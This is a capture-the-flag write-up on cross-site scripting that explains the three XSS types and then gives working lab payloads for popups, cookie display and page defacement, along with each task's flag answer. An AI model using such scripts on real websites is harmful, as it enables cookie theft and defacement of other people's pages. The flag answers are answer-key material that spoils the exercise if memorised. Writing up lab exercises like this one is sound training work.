Cross-SiteScripting.md

Cross-Site Scripting

Date: 01, January, 2021

Author: Dhilip Sanjay S

---

XSS

• XSS a type of injection which can allow an attacker to execute malicious scripts and have it execute on a victim’s machine.
• A web app is vulnerable to XSS if it uses unsanitized user input.
• XSS is possible in :
  • Javascript
  • VBscript
  • Flash
  • CSS
• Three types of XSS:
  • Stored XSS- Malicious string originates from the website's database. This happens when attacker is able to insert a malicious code into the database.
  • Reflected XSS- MAlicious payload is part of victims request to the website. The attacker need to trick a victim into clicking a URL to execute their malicious payload
  • DOM-based XSS- DOM (Document Object Model) is a programming interface for HTML and XML document. It can change the document (refers to web page) structure, style and content.

XSS Payloads

• Popups - <script>alert(“Hello World”)</script>
• Writing HTML (defacing the entire page)
• XSS Key logger
• Port Scanning
• For more payloads:
  • XSS Payloads.com

---

Solutions

Craft a reflected XSS payload that will cause a popup saying "Hello"

• Answer: ThereIsMoreToXSSThanYouThink
• Steps to Reproduce:

  <script>alert(Hello)</script>

---

On the same reflective page, craft a reflected XSS payload that will cause a popup with your machines IP address.

• Answer: ReflectiveXss4TheWin
• Steps to Reproduce:

  <script>alert(window.location.hash)</script>

---

"Stored XSS" tab - Add a comment and see if you can insert some of your own HTML.

• Answer: HTML_T4gs
• Steps to Reproduce: <h1>Hello</h1>

---

On the same page, create an alert popup box appear on the page with your document cookies.

• Answer: W3LL_D0N3_LVL2s
• Steps to Reproduce:

  <script>alert(document.cookie)</script>

---

Change "XSS Playground" to "I am a hacker" by adding a comment and using Javascript.

• Answer: websites_can_be_easily_defaced_with_xss
• Steps to Reproduce:

  <script>document.getElementById("thm-title").innerText = "I am a hacker"</script>
  
  <script>document.querySelector("#thm-title").textContent = 'I am a hacker'</script>

---